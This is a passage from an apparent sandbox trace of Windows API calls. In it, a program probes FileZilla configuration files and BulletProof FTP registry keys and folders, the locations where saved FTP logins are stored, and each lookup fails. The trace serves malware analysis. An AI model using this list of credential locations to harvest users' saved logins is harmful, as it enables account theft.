(uFlags=0x40, uBytes=0xc0) returned 0x74a670 [0047.388] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla" [0047.388] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla", lpString2="\\filezilla.xml" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\filezilla.xml") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\filezilla.xml" [0047.388] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\filezilla.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x41 [0047.388] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x745b68 [0047.388] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\filezilla.xml", lpDst=0x745b68, nSize=0x41 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\filezilla.xml") returned 0x40 [0047.388] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FileZilla\\filezilla.xml" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\filezilla\\filezilla.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.388] LocalFree (hMem=0x745b68) returned 0x0 [0047.388] LocalFree (hMem=0x74a670) returned 0x0 [0047.388] LocalFree (hMem=0x756820) returned 0x0 [0047.388] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.388] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\ProgramData") returned 0x0 [0047.388] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.388] lstrlenA (lpString="\\FileZilla") returned 10 [0047.388] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0047.388] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.388] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FileZilla" | out: lpString1="C:\\ProgramData\\FileZilla") returned="C:\\ProgramData\\FileZilla" [0047.388] LocalFree (hMem=0x7469f0) returned 0x0 [0047.388] lstrlenA (lpString="C:\\ProgramData\\FileZilla") returned 24 [0047.388] lstrlenA (lpString="\\sitemanager.xml") returned 16 [0047.388] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x7508d8 [0047.388] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\ProgramData\\FileZilla" | out: lpString1="C:\\ProgramData\\FileZilla") returned="C:\\ProgramData\\FileZilla" [0047.388] lstrcatA (in: lpString1="C:\\ProgramData\\FileZilla", lpString2="\\sitemanager.xml" | out: lpString1="C:\\ProgramData\\FileZilla\\sitemanager.xml") returned="C:\\ProgramData\\FileZilla\\sitemanager.xml" [0047.388] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\sitemanager.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2a [0047.388] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x750820 [0047.388] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\sitemanager.xml", lpDst=0x750820, nSize=0x2a | out: lpDst="C:\\ProgramData\\FileZilla\\sitemanager.xml") returned 0x29 [0047.388] CreateFileA (lpFileName="C:\\ProgramData\\FileZilla\\sitemanager.xml" (normalized: "c:\\programdata\\filezilla\\sitemanager.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.388] LocalFree (hMem=0x750820) returned 0x0 [0047.388] LocalFree (hMem=0x7508d8) returned 0x0 [0047.388] lstrlenA (lpString="C:\\ProgramData\\FileZilla") returned 24 [0047.388] lstrlenA (lpString="\\recentservers.xml") returned 18 [0047.388] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x7508d8 [0047.388] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\ProgramData\\FileZilla" | out: lpString1="C:\\ProgramData\\FileZilla") returned="C:\\ProgramData\\FileZilla" [0047.388] lstrcatA (in: lpString1="C:\\ProgramData\\FileZilla", lpString2="\\recentservers.xml" | out: lpString1="C:\\ProgramData\\FileZilla\\recentservers.xml") returned="C:\\ProgramData\\FileZilla\\recentservers.xml" [0047.388] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\recentservers.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2c [0047.388] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x750820 [0047.388] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\recentservers.xml", lpDst=0x750820, nSize=0x2c | out: lpDst="C:\\ProgramData\\FileZilla\\recentservers.xml") returned 0x2b [0047.388] CreateFileA (lpFileName="C:\\ProgramData\\FileZilla\\recentservers.xml" (normalized: "c:\\programdata\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.388] LocalFree (hMem=0x750820) returned 0x0 [0047.388] LocalFree (hMem=0x7508d8) returned 0x0 [0047.388] lstrlenA (lpString="C:\\ProgramData\\FileZilla") returned 24 [0047.388] lstrlenA (lpString="\\filezilla.xml") returned 14 [0047.388] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.389] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData\\FileZilla" | out: lpString1="C:\\ProgramData\\FileZilla") returned="C:\\ProgramData\\FileZilla" [0047.389] lstrcatA (in: lpString1="C:\\ProgramData\\FileZilla", lpString2="\\filezilla.xml" | out: lpString1="C:\\ProgramData\\FileZilla\\filezilla.xml") returned="C:\\ProgramData\\FileZilla\\filezilla.xml" [0047.389] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\filezilla.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x28 [0047.389] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x7548d0 [0047.389] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\filezilla.xml", lpDst=0x7548d0, nSize=0x28 | out: lpDst="C:\\ProgramData\\FileZilla\\filezilla.xml") returned 0x27 [0047.389] CreateFileA (lpFileName="C:\\ProgramData\\FileZilla\\filezilla.xml" (normalized: "c:\\programdata\\filezilla\\filezilla.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.389] LocalFree (hMem=0x7548d0) returned 0x0 [0047.389] LocalFree (hMem=0x754820) returned 0x0 [0047.389] LocalFree (hMem=0x758820) returned 0x0 [0047.389] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.389] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0047.389] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.389] lstrlenA (lpString="\\FileZilla") returned 10 [0047.389] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x7508d8 [0047.389] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" [0047.389] LocalFree (hMem=0x7469f0) returned 0x0 [0047.389] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned 47 [0047.389] lstrlenA (lpString="\\sitemanager.xml") returned 16 [0047.389] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x74a670 [0047.389] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" [0047.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla", lpString2="\\sitemanager.xml" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\sitemanager.xml") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\sitemanager.xml" [0047.389] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\sitemanager.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x41 [0047.389] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x745b68 [0047.389] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\sitemanager.xml", lpDst=0x745b68, nSize=0x41 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\sitemanager.xml") returned 0x40 [0047.389] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\sitemanager.xml" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\filezilla\\sitemanager.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.389] LocalFree (hMem=0x745b68) returned 0x0 [0047.389] LocalFree (hMem=0x74a670) returned 0x0 [0047.389] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned 47 [0047.389] lstrlenA (lpString="\\recentservers.xml") returned 18 [0047.389] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x745b68 [0047.389] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" [0047.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla", lpString2="\\recentservers.xml" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\recentservers.xml") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\recentservers.xml" [0047.389] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\recentservers.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x43 [0047.389] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x7469f0 [0047.389] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\recentservers.xml", lpDst=0x7469f0, nSize=0x43 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\recentservers.xml") returned 0x42 [0047.389] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.389] LocalFree (hMem=0x7469f0) returned 0x0 [0047.389] LocalFree (hMem=0x745b68) returned 0x0 [0047.389] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned 47 [0047.389] lstrlenA (lpString="\\filezilla.xml") returned 14 [0047.389] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a670 [0047.389] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" [0047.389] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla", lpString2="\\filezilla.xml" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\filezilla.xml") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\filezilla.xml" [0047.389] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\filezilla.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3f [0047.389] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74a738 [0047.389] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\filezilla.xml", lpDst=0x74a738, nSize=0x3f | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\filezilla.xml") returned 0x3e [0047.390] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\filezilla.xml" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\filezilla\\filezilla.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.390] LocalFree (hMem=0x74a738) returned 0x0 [0047.390] LocalFree (hMem=0x74a670) returned 0x0 [0047.390] LocalFree (hMem=0x7508d8) returned 0x0 [0047.390] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.390] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0047.390] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0047.390] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.390] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0047.390] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0047.390] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.390] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.390] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.390] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0047.390] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0047.390] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0047.390] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP\\Bullet Proof FTP\\Main", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.390] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP\\Bullet Proof FTP\\Main", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.390] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP\\Bullet Proof FTP\\Main", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.390] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BulletProof Software\\BulletProof FTP Client\\Main", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.390] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BulletProof Software\\BulletProof FTP Client\\Main", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.390] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BulletProof Software\\BulletProof FTP Client\\Main", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.390] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP\\Bullet Proof FTP\\Options", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.390] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP\\Bullet Proof FTP\\Options", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.390] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP\\Bullet Proof FTP\\Options", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.390] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BulletProof Software\\BulletProof FTP Client\\Options", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.390] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BulletProof Software\\BulletProof FTP Client\\Options", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.391] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BulletProof Software\\BulletProof FTP Client\\Options", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.391] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x0) returned 0x2 [0047.391] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x0) returned 0x2 [0047.391] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x0) returned 0x2 [0047.391] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.391] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0047.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.391] lstrlenA (lpString="\\BulletProof Software") returned 21 [0047.391] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x74a670 [0047.391] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\BulletProof Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software" [0047.391] LocalFree (hMem=0x7469f0) returned 0x0 [0047.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software") returned 58 [0047.391] lstrlenA (lpString="\\*.*") returned 4 [0047.391] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74a738 [0047.391] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software" [0047.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software\\*.*" [0047.391] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software\\*.*", lpFindFileData=0xefbdc | out: lpFindFileData=0xefbdc) returned 0xffffffff [0047.391] LocalFree (hMem=0x74a738) returned 0x0 [0047.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software") returned 58 [0047.391] lstrlenA (lpString="\\*.*") returned 4 [0047.391] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74a738 [0047.391] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software" [0047.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software\\*.*" [0047.391] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\BulletProof Software\\*.*", lpFindFileData=0xefbdc | out: lpFindFileData=0xefbdc) returned 0xffffffff [0047.391] LocalFree (hMem=0x74a738) returned 0x0 [0047.391] LocalFree (hMem=0x74a670) returned 0x0 [0047.391] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.391] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0047.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.391] lstrlenA (lpString="\\BulletProof Software") returned 21 [0047.391] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x74a670 [0047.391] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\BulletProof Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software" [0047.391] LocalFree (hMem=0x7469f0) returned 0x0 [0047.391] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software") returned 60 [0047.391] lstrlenA (lpString="\\*.*") returned 4 [0047.391] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x745b68 [0047.391] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software" [0047.391] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software\\*.*" [0047.392] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software\\*.*", lpFindFileData=0xefbdc | out: lpFindFileData=0xefbdc) returned 0xffffffff [0047.392] LocalFree (hMem=0x745b68) returned 0x0 [0047.392] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software") returned 60 [0047.392] lstrlenA (lpString="\\*.*") returned 4 [0047.392] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x745b68 [0047.392] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software" [0047.392] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software\\*.*" [0047.392] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\BulletProof Software\\*.*", lpFindFileData=0xefbdc | out: lpFindFileData=0xefbdc) returned 0xffffffff [0047.392] LocalFree (hMem=0x745b68) returned 0x0 [0047.392] LocalFree (hMem=0x74a670) returned 0x0 [0047.392] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.392] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\ProgramData") returned 0x0 [0047.392] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.392] lstrlenA (lpString="\\BulletProof Software") returned 21 [0047.392] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754820 [0047.392] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.392] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\BulletProof Software" | out: lpString1="C:\\ProgramData\\BulletProof Software") returned="C:\\ProgramData\\BulletProof Software" [0047.392] LocalFree (hMem=0x7469f0) returned 0x0 [0047.392] lstrlenA (lpString="C:\\ProgramData\\BulletProof Software") returned 35 [0047.392] lstrlenA (lpString="\\*.*") returned 4 [0047.392] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x7548d0 [0047.392] lstrcpyA (in: lpString1=0x7548d0, lpString2="C:\\ProgramData\\BulletProof Software" | out: lpString1="C:\\ProgramData\\BulletProof Software") returned="C:\\ProgramData\\BulletProof Software" [0047.392] lstrcatA (in: lpString1="C:\\ProgramData\\BulletProof Software", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\BulletProof Software\\*.*") returned="C:\\ProgramData\\BulletProof Software\\*.*" [0047.392] FindFirstFileA (in: lpFileName="C:\\ProgramData\\BulletProof Software\\*.*", lpFindFileData=0xefbdc | out: lpFindFileData=0xefbdc) returned 0xffffffff [0047.392] LocalFree (hMem=0x7548d0) returned 0x0 [0047.392] lstrlenA (lpString="C:\\ProgramData\\BulletProof Software") returned 35 [0047.392] lstrlenA (lpString="\\*.*") returned 4 [0047.392] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x7548d0 [0047.392] lstrcpyA (in: lpString1=0x7548d0, lpString2="C:\\ProgramData\\BulletProof Software" | out: lpString1="C:\\ProgramData\\BulletProof Software") returned="C:\\ProgramData\\BulletProof Software" [0047.392] lstrcatA (in: lpString1="C:\\ProgramData\\BulletProof Software", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\BulletProof Software\\*.*") returned="C:\\ProgramData\\BulletProof Software\\*.*" [0047.392] FindFirstFileA (in: lpFileName="C:\\ProgramData\\BulletProof Software\\*.*", lpFindFileData=0xefbdc | out: 